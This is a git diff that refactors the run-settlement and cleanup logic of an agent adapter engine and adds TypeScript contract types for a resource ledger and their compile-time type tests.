-        // after a clean turn; a failed/cancelled/timed-out turn discards it so the
-        // next run stages fresh instead of reusing a torn-down session's staged
-        // credentials. Copy-back still fires for every outcome via
-        // `cleanupRemoteBridges` below (unchanged from PR 2).
-        if (terminal.status === "completed" && !timedOut) {
-          saveStagedRuntimeAfterCleanTurn({ handles: stagedRuntimes, prepared, now: now() });
-        } else {
-          await discardStagedRuntime({ handles: stagedRuntimes, prepared });
-        }
+        const failedTurn = terminal.status === "failed" || terminal.status === "cancelled" || timedOut;
+        // Record how the settlement `endSession` step closes the runtime for this
+        // outcome. A clean persistent host turn is save-eligible, but the
+        // Amendment B credential gate fails on the host lane (the run API key is
+        // never revoked), so the reuse decision discards and `endSession` closes it
+        // (close-and-relaunch). The sandbox lane always closes the runtime; its
+        // staged files are the reuse. A matching warm entry closes through the warm
+        // store (which also flushes its stderr); otherwise the runtime closes
+        // directly. The settlement then stops the bridges, saves or discards the
+        // staged runtime, releases the staging lease, and flushes the child stderr.
+        runtimeSettlement = {
+          mode: "warm_or_close",
+          handle: sessionHandle,
+          reason: timedOut
+            ? "paperclip timeout cleanup"
+            : failedTurn
+              ? `paperclip turn ${terminal.status}`
+              : "paperclip completed turn cleanup",
+          discardPersistentState: terminal.status === "cancelled" || timedOut,
+          dropWarmEntry: false,
+          recordCloseError: false,
+          cancelTurnReason: null,
+        };
 
         const errorMessage = timedOut
           ? formatAdapterExecutionTimeoutErrorMessage(prepared.timeoutResolution)
@@ -3704,12 +4045,10 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
           stopReason: terminalStopReason,
           message: errorMessage,
         });
-        await cleanupRemoteBridges(prepared);
-        flushChildStderr(childStderrState);
         // The one clean-completion path clears the run failure flag; every other
         // path keeps it set, so the run root span closes with error status.
         runFailed = terminal.status === "completed" && !timedOut ? false : true;
-        return {
+        capturedResult = {
           exitCode: terminal.status === "completed" ? 0 : 1,
           signal: timedOut ? "SIGTERM" : null,
           timedOut,
@@ -3736,52 +4075,123 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
               ? { cumulativeCostUsd: turnUsage.cumulativeCostUsd }
               : {}),
           },
-          summary: textParts.join("").trim() || terminalStopReason || terminal.status,
+          summary: buildAcpxRunSummary({
+            outputSegments,
+            fallback: terminalStopReason || terminal.status,
+          }),
           clearSession,
         };
-      } catch (err) {
-        if (timeout) clearTimeout(timeout);
+        // The turn phase finished. A completed, non-timed-out turn is `ok`; every
+        // other terminal outcome is `failed`.
+        await emitPhase(
+          "turn",
+          turnPhaseStart,
+          terminal.status === "completed" && !timedOut ? "ok" : "failed",
+        );
+        // Return the typed turn completion so the coordinator settles for the right
+        // cause. The completion carries no live resources; the settlement claims the
+        // ledger and owns the release. A clean completed turn carries no cause, so
+        // the reuse decision can permit a save; a timed-out, failed, or cancelled
+        // turn carries its cause, which forbids the save.
+        if (timedOut) {
+          return {
+            kind: "timed_out",
+            cause: { kind: "turn_timed_out", timeoutSec: prepared.timeoutSec },
+            resources: emptyConsumed,
+          };
+        }
+        if (terminal.status === "failed") {
+          return {
+            kind: "failed",
+            cause: {
+              kind: "turn_failed",
+              error: terminal.error instanceof Error ? terminal.error : new Error(String(terminal.error)),
+            },
+            resources: emptyConsumed,
+          };
+        }
+        if (terminal.status === "cancelled") {
+          return {
+            kind: "cancelled",
+            cause: { kind: "turn_cancelled", reason: terminal.stopReason ?? "cancelled" },
+            resources: emptyConsumed,
+          };
+        }
+        return { kind: "finalized" };
+        }
+        const err = input.error;
+        const timedOut = input.timedOut;
+        // The failure phase comes from the sequence: a failure before the turn
+        // started is `prepare_turn`; a failure after it is `turn`. The teardown is
+        // the same; only the reported phase differs.
+        const phase: AcpxExecutionPhase = input.phase;
+        // Emit the failed phase timing for the phase the sequence reported.
+        if (phase === "prepare_turn") {
+          await emitPhase("prepare_turn", preparePhaseStart, "failed");
+        } else {
+          await emitPhase("turn", turnPhaseStart, "failed");
+        }
         const messageOverride = timedOut
           ? formatAdapterExecutionTimeoutErrorMessage(prepared.timeoutResolution)
           : undefined;
-        const cancel = cancelActiveTurn as ((reason: string) => Promise<void>) | null;
         const preEmitMessage =
           messageOverride ?? (err instanceof Error ? err.message : String(err));
-        if (cancel) await cancel(preEmitMessage).catch(() => {});
-        await runtime.close({
+        // Record a direct close for the settlement `endSession` step: cancel the
+        // running turn first (cancel-before-close), then close the runtime and drop
+        // a matching warm entry. The settlement discards the staged runtime, stops
+        // the bridges, releases the staging lease, and flushes the child stderr.
+        runtimeSettlement = {
+          mode: "direct",
           handle: sessionHandle,
           reason: timedOut ? "paperclip timeout cleanup" : "paperclip error cleanup",
           discardPersistentState: timedOut,
-        }).catch(() => {});
-        const existing = warmHandles.get(prepared.sessionKey);
-        if (warmHandleMatches(existing, runtime, sessionHandle) && existing) {
-          clearWarmHandleTimer(existing);
-          warmHandles.delete(prepared.sessionKey);
+          dropWarmEntry: true,
+          recordCloseError: true,
+          cancelTurnReason: preEmitMessage,
+        };
+        // Emit the failure best-effort. `turnFinalize` must not reject, so a
+        // failing emission never propagates: the settlement owns the teardown, and
+        // it runs only after this returns a completion. On an emission failure the
+        // run records a degraded result from the pre-emit message.
+        let emitted: Awaited<ReturnType<typeof emitAcpxFailure>> | null = null;
+        try {
+          emitted = await emitAcpxFailure({ ctx, prepared, err, phase, messageOverride });
+        } catch {
+          emitted = null;
         }
-        await discardStagedRuntime({ handles: stagedRuntimes, prepared });
-        const { classified, message } = await emitAcpxFailure({
-          ctx,
-          prepared,
-          err,
-          phase: "turn",
-          messageOverride,
-        });
-        await cleanupRemoteBridges(prepared);
-        flushChildStderr(childStderrState);
-        return {
+        const message = emitted?.message ?? preEmitMessage;
+        capturedResult = {
           exitCode: 1,
           signal: timedOut ? "SIGTERM" : null,
           timedOut,
           errorMessage: message,
-          errorCode: timedOut ? "acpx_timeout" : classified.errorCode,
-          errorMeta: classified.errorMeta,
+          errorCode: timedOut ? "acpx_timeout" : (emitted?.classified.errorCode ?? null),
+          errorMeta: emitted?.classified.errorMeta,
           ...billingFields,
           ...referencedProjectStagingFailuresField,
           model: prepared.requestedModel || null,
           clearSession: clearSession || timedOut,
-          resultJson: { phase: "turn" },
+          resultJson: { phase },
           summary: message,
         };
+        // Return a typed failed completion so the coordinator settles for a cause
+        // that forbids the save. The reported phase lives on the recorded result.
+        return {
+          kind: "failed",
+          cause: { kind: "turn_failed", error: err instanceof Error ? err : new Error(String(err)) },
+          resources: emptyConsumed,
+        };
+      };
+      try {
+        return await runTurnSequence<AcpRuntimeTurnResult>({
+          timeoutMs: prepared.timeoutSec > 0 ? prepared.timeoutSec * 1000 : undefined,
+          timeoutMessage: formatAdapterExecutionTimeoutErrorMessage(prepared.timeoutResolution),
+          promptBuild: stepPromptBuild,
+          preTurnUsage: stepPreTurnUsage,
+          turnStart: stepTurnStart,
+          eventRelay: stepEventRelay,
+          turnFinalize: stepTurnFinalize,
+        });
       } finally {
         // End the agent turn span exactly once, on every return and on a throw.
         // `runFailed` is `false` only on a completed, non-timed-out turn, so the
@@ -3792,9 +4202,188 @@ export function createAcpxEngineExecutor(deps: AcpxEngineExecutorOptions = {}) {
         // exec after the turn parents to `task.run`.
         currentRunParentContext = runRootSpan.parentContext;
       }
+      };
+      // A live run-scoped credential marker. The host-lane reuse candidate carries
+      // it, so the Amendment B credential gate blocks the host warm save: the
+      // run-minted API key is never revoked, so it stays valid and forces a
+      // close-and-relaunch. It is a non-secret marker; the settlement reads only its
+      // presence, and no report or reuse payload carries it.
+      const LIVE_RUN_SCOPED_API_KEY = "paperclip-run-scoped-api-key";
+      // Record the final per-resource disposition report where a test can observe
+      // it. The engine never reads it back.
+      const recordDispositionReport = (report: SettlementDispositionReport): void => {
+        deps.onSettlementDisposition?.(report);
+      };
+      // The settlement sequence is the one live cleanup owner for every settled path
+      // (Phase 22). It claims the ledger once, makes the pure reuse decision, then
+      // runs the ordered steps: `endSession`, `settleReuse`, `stopTransport`,
+      // `syncBack`, and `releaseStagingLease` (in a finally). Each step reads the run
+      // state through the shared closure locals and no-ops on an empty ledger slot.
+      // The Phase 3 error policy governs every step. The coordinator alone owns the
+      // startup rollback.
+      const settlementSteps: SettlementSteps = {
+        // Derive the reuse candidate. Only a clean turn (no cause) can save. The
+        // host lane would save the live runtime, but the Amendment B credential gate
+        // fails there: the run-minted API key is never revoked, so a live run-scoped
+        // credential stays valid and the decision discards (close-and-relaunch). The
+        // sandbox lane saves its staged files, which carry no credential.
+        reuseCandidate: (slots, cause) => {
+          const clean = cause === null;
+          if (prepared.processSessionBridge) {
+            // Sandbox lane: the staged files are the reuse. Save only after a clean
+            // turn and only when the run holds a staged runtime.
+            if (!clean || !slots.has("staged_runtime")) return null;
+            return { kind: "sandbox", causePermitsSave: true, liveRunScopedCredentials: [] };
+          }
+          // Host lane: save a clean persistent warm-eligible turn, but carry the
+          // live run-scoped credential so the gate blocks the transfer.
+          if (!slots.has("acp_runtime")) return null;
+          const permits = clean && prepared.mode === "persistent" && warmIdleMs > 0;
+          if (!permits) return null;
+          return { kind: "host", causePermitsSave: true, liveRunScopedCredentials: [LIVE_RUN_SCOPED_API_KEY] };
+        },
+        // Close every runtime the decision did not transfer, and drop the warm entry
+        // on close.
+        endSession: (slots, decision) => timedPhase("end_session", async () => {
+          if (!slots.has("acp_runtime")) return;
+          if (decision.kind === "save" && decision.savedId === "acp_runtime") return;
+          const settlement: RuntimeSettlementPlan = runtimeSettlement ?? {
+            mode: "direct",
+            handle: syntheticCloseHandle(),
+            reason: "paperclip cleanup",
+            discardPersistentState: false,
+            dropWarmEntry: false,
+            recordCloseError: true,
+            cancelTurnReason: null,
+          };
+          // Cancel a running turn before the close (the turn-error path).
+          if (settlement.cancelTurnReason && activeTurn) {
+            await activeTurn.cancel({ reason: settlement.cancelTurnReason }).catch(() => {});
+          }
+          const existing = warmHandles.get(prepared.sessionKey);
+          if (
+            settlement.mode === "warm_or_close" &&
+            warmHandleMatches(existing, runtime, settlement.handle) &&
+            existing
+          ) {
+            // A matching warm entry closes through the warm store, which also
+            // clears its idle timer and flushes its child stderr.
+            await closeWarmHandle({
+              handles: warmHandles,
+              key: prepared.sessionKey,
+              entry: existing,
+              reason: settlement.reason,
+              discardPersistentState: settlement.discardPersistentState,
+            });
+            return;
+          }
+          const onCloseError = settlement.recordCloseError
+            ? (closeErr: unknown) => recordTeardownError("runtime-close", closeErr)
+            : () => {};
+          await runtime
+            .close({
+              handle: settlement.handle,
+              reason: settlement.reason,
+              discardPersistentState: settlement.discardPersistentState,
+            })
+            .catch(onCloseError);
+          if (settlement.dropWarmEntry && warmHandleMatches(existing, runtime, settlement.handle) && existing) {
+            clearWarmHandleTimer(existing);
+            warmHandles.delete(prepared.sessionKey);
+          }
+        }),
+        // Perform the reuse decision. A save transfers the staged files to the site
+        // store (which arms the idle policy); every other case discards the staged
+        // runtime. The host warm save is closed in `endSession`.
+        settleReuse: (slots, decision) => timedPhase("settle_reuse", async () => {
+          if (!slots.has("staged_runtime")) return;
+          if (decision.kind === "save" && decision.savedId === "staged_runtime") {
+            saveStagedRuntimeAfterCleanTurn({ handles: stagedRuntimes, prepared, now: now() });
+            return;
+          }
+          await discardStagedRuntime({ handles: stagedRuntimes, prepared });
+        }),
+        // Stop both bridges in one allSettled.
+        stopTransport: () => timedPhase("stop_transport", async () => {
+          await stopRunTransport(prepared);
+        }),
+        // The site sync-back (the managed-home copy-back). The run-parented span
+        // runner wraps the restore in a `sandbox.syncBack` span. The runner also
+        // publishes the run parent into the runtime-parent store while the restore
+        // runs, so the host mints a `traceparent` for the provider spans, and the
+        // per-task restore spans parent to `sandbox.syncBack`.
+        syncBack: () => timedPhase("sync_back", async () => {
+          await runRuntimeSpan("sandbox.syncBack", async () => {
+            await syncBackManagedHome(prepared);
+          });
+        }),
+        // The staging lease releases as the run's final act, AFTER the coordinator
+        // reproduces the result, in the run root `finally` below. This step stays a
+        // no-op in the live engine: a same-session second run must stay blocked on
+        // the lease until this run fully returns, not merely until the settlement
+        // sync-back finishes, so the release cannot move earlier into settlement.
+        releaseStagingLease: () => {},
+        recordError: async (step, error) => {
+          await recordTeardownError(`settlement-${step}`, error);
+        },
+      };
+      // Drive the attempt through the coordinator routing table. The startup step
+      // returns `ready` or `settle` (or throws on a build or partial-bridge
+      // failure); the coordinator runs the turn on the ready path, settles, then
+      // reproduces the recorded result.
+      const plan: RunPlan<AdapterExecutionResult> = {
+        ledger: runResourceLedger,
+        startup,
+        runTurn,
+        // The coordinator owns the startup rollback: `buildRuntime` runs its own
+        // partial-bring-up rollback and throws, so no ledger resource is left to
+        // release here.
+        rollbackStartup: () => {},
+        recordDisposition: recordDispositionReport,
+        // The settlement sequence is the one live cleanup owner. It claims the
+        // ledger, releases every settled resource, and returns the final
+        // disposition report. The child stderr flushes after the sync-back on every
+        // settled exit path (it stays null before the run reads the warm entry).
+        settle: async (reason: SettlementReason) => {
+          const cause: SettlementCause | null =
+            reason.kind === "pre_turn"
+              ? reason.cause
+              : reason.completion.kind === "finalized"
+                ? null
+                : reason.completion.cause;
+          const report = await settleAcpRun(runResourceLedger, cause, settlementSteps);
+          recordDispositionReport(report);
+          if (childStderrState) flushChildStderr(childStderrState);
+        },
+        reproduceResult: (): AdapterExecutionResult => {
+          if (!capturedResult) {
+            throw new Error("run coordinator reproduced a result before the run recorded one");
+          }
+          return capturedResult;
+        },
+      };
+      return await runAttempt(plan);
     } finally {
       // End the run root span exactly once, on every return and on a throw.
       runRootSpan.end(runFailed);
+      // Release the per-session staging lease as the run's final act, AFTER the
+      // coordinator settled every other resource and reproduced the result. It runs
+      // last, in this `finally`, so a same-session second run stays blocked on the
+      // lease until this run fully returns (not merely until the settlement
+      // sync-back finishes) and an earlier teardown fault never strands the lease.
+      // It stays null on a build failure (where `buildRuntime` released its own
+      // partial lease) and on the host lane (no staging). The settlement stopped the
+      // bridges and ran the sync-back before this point, so the ordering is
+      // bridge-stop → sync-back → lease release.
+      const leaseRelease = releaseStagingLease as (() => void) | null;
+      if (leaseRelease) {
+        const leaseStart = now();
+        leaseRelease();
+        // Fire-and-forget the phase timing: the release is the run's final act, so
+        // the run must not await telemetry here. `emitRunPhaseTiming` swallows a
+        // sink failure, so this never rejects.
+        void emitRunPhaseTiming(ctx, "release_staging_lease", now() - leaseStart, "ok");
+      }
     }
   };
 }
diff --git a/packages/adapter-utils/src/acpx-engine/run-contracts.test.ts b/packages/adapter-utils/src/acpx-engine/run-contracts.test.ts
new file mode 100644
index 00000000000..14dcaea70f8
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-contracts.test.ts
@@ -0,0 +1,85 @@
+// Compile-time type tests for the run contracts.
+//
+// The real assertion in each test is that this file compiles. A `@ts-expect-error`
+// marks an assignment that MUST fail to typecheck; if it starts to compile, tsc
+// reports the unused directive and the typecheck fails. The runtime body only
+// keeps vitest happy, so each test names the property it proves.
+
+import { describe, expect, it } from "vitest";
+import type {
+  AcquiredRunResources,
+  ConsumedRunResources,
+  PreTurnFailedCause,
+  ReadyRunResources,
+  SessionFingerprintIdentity,
+  TurnCause,
+} from "./run-contracts.js";
+
+// A type-level equality check. `Equal<A, B>` is true only when A and B are the
+// same type.
+type Equal<A, B> =
+  (<T>() => T extends A ? 1 : 2) extends <T>() => T extends B ? 1 : 2 ? true : false;
+type Expect<T extends true> = T;
+
+describe("run contracts", () => {
+  it("test_a_turn_cause_is_not_assignable_where_pre_turn_failed_cause_is_required", () => {
+    function requiresPreTurn(_cause: PreTurnFailedCause): void {}
+    const turnCause: TurnCause = { kind: "turn_failed", error: new Error("boom") };
+
+    // A turn cause has a different `kind` and no `phase`, so it is not
+    // assignable where a `PreTurnFailedCause` is required.
+    // @ts-expect-error a TurnCause is not a PreTurnFailedCause.
+    requiresPreTurn(turnCause);
+
+    expect(turnCause.kind).toBe("turn_failed");
+  });
+
+  it("test_only_seal_produces_ready_run_resources_and_only_take_for_settlement_produces_consumed_run_resources", () => {
+    // The assertions live in an unexecuted function so tsc checks the types
+    // without a runtime call on a synthetic ledger.
+    function _assertBrands(ledger: AcquiredRunResources): void {
+      // `seal()` is the only source of a `ReadyRunResources`;
+      // `takeForSettlement()` is the only source of a `ConsumedRunResources`.
+      const ready: ReadyRunResources = ledger.seal([]);
+      const consumed: ConsumedRunResources = ledger.takeForSettlement();
+
+      // The two brands are distinct: neither result is assignable to the other.
+      // @ts-expect-error a ReadyRunResources is not a ConsumedRunResources.
+      const _crossA: ConsumedRunResources = ready;
+      // @ts-expect-error a ConsumedRunResources is not a ReadyRunResources.
+      const _crossB: ReadyRunResources = consumed;
+
+      // A plain object cannot stand in for a branded result; it lacks the
+      // private brand that only `seal()` / `takeForSettlement()` can set.
+      // @ts-expect-error missing the private ready brand.
+      const _fakeReady: ReadyRunResources = {
+        get: () => undefined,
+        scopeOf: () => undefined,
+        has: () => false,
+        sealed: [],
+      };
+      // @ts-expect-error missing the private consumed brand.
+      const _fakeConsumed: ConsumedRunResources = { entries: () => [] };
+
+      void ready;
+      void consumed;
+      void _crossA;
+      void _crossB;
+      void _fakeReady;
+      void _fakeConsumed;
+    }
+
+    void _assertBrands;
+    expect(true).toBe(true);
+  });
+
+  it("test_session_fingerprint_identity_has_no_company_agent_or_task_member", () => {
+    // None of the outer-key parts appear as a fingerprint field.
+    type ForbiddenKey = "companyId" | "agentId" | "taskKey";
+    type LeakedKey = Extract<keyof SessionFingerprintIdentity, ForbiddenKey>;
+    type _noLeak = Expect<Equal<LeakedKey, never>>;
+
+    const _ok: _noLeak = true;
+    expect(_ok).toBe(true);
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/run-contracts.ts b/packages/adapter-utils/src/acpx-engine/run-contracts.ts
new file mode 100644
index 00000000000..afc56f448a7
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/run-contracts.ts
@@ -0,0 +1,511 @@
+// Contract types for the ACPX run coordinator refactor.
+//
+// This module declares the types only. No production code consumes them yet.
+// Each placeholder type maps to a field that `AcpxPreparedRuntime` carries in
+// `execute.ts` today. The later coordinator phases move the ownership of those
+// fields onto these contracts one seam at a time.
+//
+// Two brands (`ReadyRunResources`, `ConsumedRunResources`) mark a resource set
+// that only the resource ledger can produce. Two more brands mark a run-scoped
+// launch contribution and the finalized launch environment. A brand is a private
+// `unique symbol`, so no other module can build a branded value by a plain
+// object literal. Only the module that owns the symbol returns the value.
+
+import type { AcpRuntime, AcpRuntimeHandle } from "acpx/runtime";
+import type {
+  AdapterExecutionTarget,
+  AdapterExecutionTargetPaperclipBridgeHandle,
+  AdapterExecutionTargetProcessSessionBridgeHandle,
+  PreparedAdapterExecutionTargetRuntime,
+} from "@paperclipai/adapter-utils/execution-target";
+
+// ---------------------------------------------------------------------------
+// Resource identity
+// ---------------------------------------------------------------------------
+
+/**
+ * The closed set of run resources the ledger can hold. The set is fixed; a new
+ * resource needs a new member here and a payload in `RunResourcePayloads`.
+ *
+ * `acp_runtime` is a composite of the runtime, the session handle, and the
+ * child process. `runtime.close()` is the one release boundary for all three.
+ *
+ * These are NOT resources and never enter the ledger: `sessionKey`, the
+ * environment lease, the realized execution target, the cleanup registrations,
+ * the reuse-store entries, the three OTel spans, the turn timer, the child
+ * stderr flush state, and the idle timers.
+ */
+export type ResourceId =
+  | "acp_runtime"
+  | "staged_runtime"
+  | "control_bridge"
+  | "agent_bridge"
+  | "managed_home"
+  | "staging_lease";
+
+/**
+ * The outcome the ledger records for a resource when it leaves the ledger.
+ * `finalized` means the run released the resource here. `transferred` means the
+ * run handed ownership to settlement.
+ */
+export type ResourceDisposition = "finalized" | "transferred";
+
+/**
+ * The lifetime a cleanup belongs to.
+ *
+ * A `startup_rollback` cleanup runs only when startup fails, to undo a partial
+ * bring-up. A `per_run` cleanup runs at settlement, at the end of the run. A
+ * successful `seal()` promotes each promotable `startup_rollback` entry to
+ * `per_run`, because the resource now lives through the whole run.
+ */
+export type CleanupScope = "startup_rollback" | "per_run";
+
+// ---------------------------------------------------------------------------
+// Resource payloads
+// ---------------------------------------------------------------------------
+
+/**
+ * The `acp_runtime` composite. `runtime.close()` releases the runtime, the
+ * session handle, and the child process together. Maps to the runtime, the
+ * session handle, and the spawned child that `execute.ts` builds in
+ * `buildRuntime`.
+ */
+export interface AcpRuntimeResource {
+  readonly runtime: AcpRuntime;
+  readonly sessionHandle: AcpRuntimeHandle;
+  /** The pid of the spawned agent child, or null before the first spawn. */
+  readonly childProcessPid: number | null;
+}
+
+/**
+ * The staged in-sandbox runtime and its one-time host-side cleanup. Maps to
+ * `AcpxPreparedRuntime.stagedRuntime` and `remoteStagingDispose`.
+ */
+export interface StagedRuntimeResource {
+  readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+  /** Remove the host-side staged temp. Fired only when the stage is dropped. */
+  readonly disposeStaged: () => Promise<void>;
+}
+
+/**
+ * The per-adapter managed-home seam. Maps to
+ * `AcpxPreparedRuntime.remoteManagedHomeTeardown` and `remoteStagingEnvDelta`.
+ */
+export interface ManagedHomeResource {
+  /** Per-run copy-back hook. Runs the auth copy-back on every exit path. */
+  readonly teardown: () => Promise<void>;
+  /** The env keys the seam mutated on this run. */
+  readonly envDelta: Record<string, string>;
+}
+
+/**
+ * The per-session staging lease. Maps to
+ * `AcpxPreparedRuntime.sessionStagingLeaseRelease`.
+ */
+export interface StagingLeaseResource {
+  /** Release the staging lease so a later overlapping run can re-stage. */
+  readonly release: () => void;
+}
+
+/**
+ * Maps each resource id to its payload. The `control_bridge` is the Paperclip
+ * control-plane bridge; the `agent_bridge` is the agent process-session bridge.
+ */
+export interface RunResourcePayloads {
+  readonly acp_runtime: AcpRuntimeResource;
+  readonly staged_runtime: StagedRuntimeResource;
+  readonly control_bridge: AdapterExecutionTargetPaperclipBridgeHandle;
+  readonly agent_bridge: AdapterExecutionTargetProcessSessionBridgeHandle;
+  readonly managed_home: ManagedHomeResource;
+  readonly staging_lease: StagingLeaseResource;
+}
+
+/** One resource the caller registers into the ledger. */
+export interface RunResourceRegistration<Id extends ResourceId = ResourceId> {
+  readonly id: Id;
+  readonly payload: RunResourcePayloads[Id];
+  readonly scope: CleanupScope;
+  /**
+   * Marks a `startup_rollback` entry that `seal()` promotes to `per_run`.
+   * Default true. Set false to pin the entry as rollback-only. Ignored for a
+   * `per_run` entry.
+   */
+  readonly promotable?: boolean;
+  /**
+   * The ledger calls this once when it finalizes or transfers the resource. It
+   * records the disposition. It runs no release itself.
+   */
+  readonly onDisposition?: (disposition: ResourceDisposition) => void;
+}
+
+/** One resource the settlement claim carries out of the ledger. */
+export interface SettledResourceEntry<Id extends ResourceId = ResourceId> {
+  readonly id: Id;
+  readonly payload: RunResourcePayloads[Id];
+  readonly scope: CleanupScope;
+  readonly disposition: ResourceDisposition;
+}
+
+// ---------------------------------------------------------------------------
+// Ledger surface and its two branded results
+// ---------------------------------------------------------------------------
+
+declare const READY_RUN_RESOURCES: unique symbol;
+declare const CONSUMED_RUN_RESOURCES: unique symbol;
+
+/**
+ * The sealed, validated resource set. Only `AcquiredRunResources.seal()`
+ * produces this brand. The turn reads its resources through this handle.
+ */
+export interface ReadyRunResources {
+  readonly [READY_RUN_RESOURCES]: true;
+  /** The payload for a resource id, or undefined when the slot is empty. */
+  get<Id extends ResourceId>(id: Id): RunResourcePayloads[Id] | undefined;
+  /** The scope of a resource id after promotion, or undefined when empty. */
+  scopeOf(id: ResourceId): CleanupScope | undefined;
+  /** True when the slot holds a resource. */
+  has(id: ResourceId): boolean;
+  /** The required ids that `seal()` validated. */
+  readonly sealed: readonly ResourceId[];
+}
+
+/**
+ * The one-time settlement claim. Only `AcquiredRunResources.takeForSettlement()`
+ * produces this brand. Settlement releases the resources this claim carries.
+ */
+export interface ConsumedRunResources {
+  readonly [CONSUMED_RUN_RESOURCES]: true;
+  /** The resources, each with its final scope and disposition. */
+  entries(): readonly SettledResourceEntry[];
+}
+
+/**
+ * The write surface the startup path holds while it acquires resources.
+ * `register` is the only writer. `seal` and `takeForSettlement` end the write
+ * phase. The state machine is `open -> sealed -> consumed` or `open ->
+ * consumed`.
+ */
+export interface AcquiredRunResources {
+  register<Id extends ResourceId>(registration: RunResourceRegistration<Id>): void;
+  seal(required: readonly ResourceId[]): ReadyRunResources;
+  takeForSettlement(): ConsumedRunResources;
+}
+
+/** The error the ledger throws on an out-of-order or duplicate operation. */
+export class LedgerStateError extends Error {
+  constructor(message: string) {
+    super(message);
+    this.name = "LedgerStateError";
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Startup, turn, and settlement outcomes
+// ---------------------------------------------------------------------------
+
+/**
+ * The four phases a pre-turn failure can occur in. A pre-turn failure happens
+ * after the ledger acquires resources but before the turn runs.
+ */
+export interface PreTurnFailedCause {
+  readonly kind: "pre_turn_failed";
+  readonly phase:
+    | "runtime_create"
+    | "handshake"
+    | "session_handle_missing"
+    | "session_configuration";
+  readonly error: Error;
+}
+
+/** The turn ran and failed with an error. */
+export interface TurnFailedCause {
+  readonly kind: "turn_failed";
+  readonly error: Error;
+}
+
+/** The caller cancelled the turn. */
+export interface TurnCancelledCause {
+  readonly kind: "turn_cancelled";
+  readonly reason: string;
+}
+
+/** The turn hit its wall-clock timeout. */
+export interface TurnTimedOutCause {
+  readonly kind: "turn_timed_out";
+  readonly timeoutSec: number;
+}
+
+/** A cause that the turn itself produced. Disjoint from `PreTurnFailedCause`. */
+export type TurnCause = TurnFailedCause | TurnCancelledCause | TurnTimedOutCause;
+
+/** Any cause that leads a run into settlement. */
+export type SettlementCause = PreTurnFailedCause | TurnCause;
+
+/**
+ * Startup produced a ready runtime. The turn can run against these resources.
+ */
+export interface StartupReady {
+  readonly kind: "ready";
+  readonly resources: ReadyRunResources;
+  readonly context: AcpRunContext;
+}
+
+/**
+ * Startup failed after it acquired resources, so the run must settle them. A
+ * build failure and a partial-bridge failure do NOT reach here — they throw,
+ * and the coordinator owns that rollback (Phase 20).
+ */
+export interface StartupSettle {
+  readonly kind: "settle";
+  readonly cause: PreTurnFailedCause;
+  readonly resources: ConsumedRunResources;
+}
+
+export type StartupResult = StartupReady | StartupSettle;
+
+/**
+ * The turn finished and released everything in place. It carries no resources,
+ * so settlement has nothing to do.
+ */
+export interface FinalizedTurn {
+  readonly kind: "finalized";
+}
+
+/** The turn failed. Settlement releases the carried resources. */
+export interface FailedTurn {
+  readonly kind: "failed";
+  readonly cause: TurnFailedCause;
+  readonly resources: ConsumedRunResources;
+}
+
+/** The caller cancelled the turn. Settlement releases the carried resources. */
+export interface CancelledTurn {
+  readonly kind: "cancelled";
+  readonly cause: TurnCancelledCause;
+  readonly resources: ConsumedRunResources;
+}
+
+/** The turn timed out. Settlement releases the carried resources. */
+export interface TimedOutTurn {
+  readonly kind: "timed_out";
+  readonly cause: TurnTimedOutCause;
+  readonly resources: ConsumedRunResources;
+}
+
+/** The four ways a turn completes. Only `FinalizedTurn` is resourceless. */
+export type TurnCompletion = FinalizedTurn | FailedTurn | CancelledTurn | TimedOutTurn;
+
+// ---------------------------------------------------------------------------
+// Run site
+// ---------------------------------------------------------------------------
+
+/** The host site runs on the host. The sandbox site runs in a remote runner. */
+export type RunSiteKind = "host" | "sandbox";
+
+/**
+ * The synchronous plan a site produces before the fingerprint build. `plan()`
+ * must be synchronous, because `sessionCwd` is a fingerprint input.
+ */
+export interface SitePlan {
+  /**
+   * The cwd the session binds to and the fingerprint reads. `placeWorkspace` is
+   * not its source; the site derives it before it places the workspace.
+   */
+  readonly sessionCwd: string;
+  /**
+   * The host-only spawn cwd for the relay proxy on the remote process-session
+   * lane. Undefined on every other lane. Maps to `AcpxPreparedRuntime.
+   * hostSpawnCwd`.
+   */
+  readonly spawnCwd: string | undefined;
+  /** True only for a sandbox target, where the run emits real OTel spans. */
+  readonly tracingEnabled: boolean;
+}
+
+/** One referenced project whose staging into the sandbox failed. */
+export interface ReferencedProjectStagingFailure {
+  readonly projectId: string;
+  /** The failure reason. A reader of the run sees why the project dropped. */
+  readonly error: string;
+}
+
+/**
+ * The result of placing the workspace. Carries the referenced-project staging
+ * failures the run reports back on its result.
+ */
+export interface PlacedWorkspace {
+  readonly referencedProjectStagingFailures: readonly ReferencedProjectStagingFailure[];
+}
+
+/** The transport handles the site started for the run. */
+export interface RunSiteTransport {
+  readonly controlBridge: AdapterExecutionTargetPaperclipBridgeHandle | null;
+  readonly agentBridge: AdapterExecutionTargetProcessSessionBridgeHandle | null;
+}
+
+/** What the host site's store can save: the live runtime and session handle. */
+export interface HostReuseCandidate {
+  readonly runtime: AcpRuntime;
+  readonly sessionHandle: AcpRuntimeHandle;
+}
+
+/** What the sandbox site's store can save: the staged files. */
+export interface SandboxReuseCandidate {
+  readonly stagedRuntime: PreparedAdapterExecutionTargetRuntime;
+}
+
+export type RunSiteReuseCandidate = HostReuseCandidate | SandboxReuseCandidate;
+
+/** Construction options for a `SessionReuseStore`. */
+export interface SessionReuseStoreOptions {
+  /**
+   * The optional per-entry idle timeout, in milliseconds. When set, `evictIdle`
+   * drops an entry that stayed idle longer than this bound.
+   */
+  readonly idleMs?: number;
+}
+
+/**
+ * The per-site store that saves a reuse candidate across runs. The store is
+ * generic in the saved type, so a generic `save` cannot know what a site saves.
+ * `RunSite.reuseCandidate()` names the concrete type per site.
+ */
+export interface SessionReuseStore<T> {
+  borrow(sessionKey: string): T | undefined;
+  save(sessionKey: string, entry: T): void;
+  /**
+   * Identity-guarded removal that fires the idempotent release. It removes the
+   * key synchronously, so a later reuse never reads a discarded entry. It
+   * returns a promise the caller can await when the release must finish before
+   * the run releases a downstream resource (e.g. the staging lease).
+   */
+  discard(sessionKey: string): void | Promise<void>;
+  /**
